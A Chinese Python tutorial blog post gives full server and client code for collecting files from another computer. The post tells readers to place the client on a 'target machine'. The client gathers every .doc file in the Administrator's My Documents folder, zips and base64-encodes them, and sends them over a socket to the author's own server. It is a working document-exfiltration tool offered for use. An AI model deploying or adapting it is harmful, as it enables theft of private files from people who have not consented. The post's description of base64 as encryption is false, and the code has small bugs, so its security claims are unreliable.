python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python测试驱动开发实例
Oct 08 Python
讲解Python中for循环下的索引变量的作用域
Apr 15 Python
pygame播放音乐的方法
May 19 Python
python目录与文件名操作例子
Aug 28 Python
Python正则表达式常用函数总结
Jun 24 Python
python实现八大排序算法(2)
Sep 14 Python
在Python中使用turtle绘制多个同心圆示例
Nov 23 Python
Python 剪绳子的多种思路实现(动态规划和贪心)
Feb 24 Python
pandas读取csv文件提示不存在的解决方法及原因分析
Apr 21 Python
Python数据可视化图实现过程详解
Jun 12 Python
Python控制鼠标键盘代码实例
Dec 08 Python
使用Django实现商城验证码模块的方法
Jun 01 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
通过缓存数据库结果提高PHP性能的原理介绍
2012/09/05 PHP
解析centos中Apache、php、mysql 默认安装路径
2013/06/25 PHP
利用谷歌 Translate API制作自己的翻译脚本
2014/06/04 PHP
php通过rmdir删除目录的简单用法
2015/03/18 PHP
php准确计算复活节日期的方法
2015/04/18 PHP
php使用array_search函数实现数组查找的方法
2015/06/12 PHP
Yii2实现ActiveForm ajax提交
2017/05/26 PHP
JS类定义原型方法的两种实现的区别评论很多
2007/09/12 Javascript
浅谈window对象的scrollBy()方法
2015/07/15 Javascript
Javascript中的Prototype到底是什么
2016/02/16 Javascript
每日十条JavaScript经验技巧(一)
2016/06/23 Javascript
html5 canvas 详细使用教程
2017/01/20 Javascript
微信小程序页面生命周期详解
2018/01/31 Javascript
webpack 模块热替换原理
2018/04/09 Javascript
详解swiper在vue中的应用(以3.0为例)
2018/09/20 Javascript
vue拖拽排序插件vuedraggable使用方法详解
2020/08/21 Javascript
ES6 Promise对象的应用实例分析
2019/06/27 Javascript
[01:00:14]2018DOTA2亚洲邀请赛 4.6 淘汰赛 VP vs TNC 第三场
2018/04/10 DOTA
Python实现将不规范的英文名字首字母大写
2016/11/15 Python
Pandas:DataFrame对象的基础操作方法
2018/06/07 Python
wxPython实现画图板
2020/08/27 Python
python将邻接矩阵输出成图的实现
2019/11/21 Python
python numpy 反转 reverse示例
2019/12/04 Python
python可以用哪些数据库
2020/06/22 Python
纯CSS绘制漂亮的圆形图案效果
2014/05/07 HTML / CSS
CSS3打造磨砂玻璃背景效果
2016/09/28 HTML / CSS
全球知名鞋履品牌授权零售商:Journeys
2016/09/17 全球购物
JINS眼镜官方网站:日本最大的眼镜邮购
2016/10/14 全球购物
Made in Design德国:设计师家具、灯具和装饰
2019/10/31 全球购物
事业单位接收函
2014/01/10 职场文书
小区消防演习方案
2014/02/21 职场文书
关于爱国的标语
2014/06/24 职场文书
事业单位工作人员年度考核个人总结
2015/02/12 职场文书
失恋33天观后感
2015/06/11 职场文书
创业计划书之都市休闲农庄
2019/12/28 职场文书
python 如何用terminal输入参数
2021/05/25 Python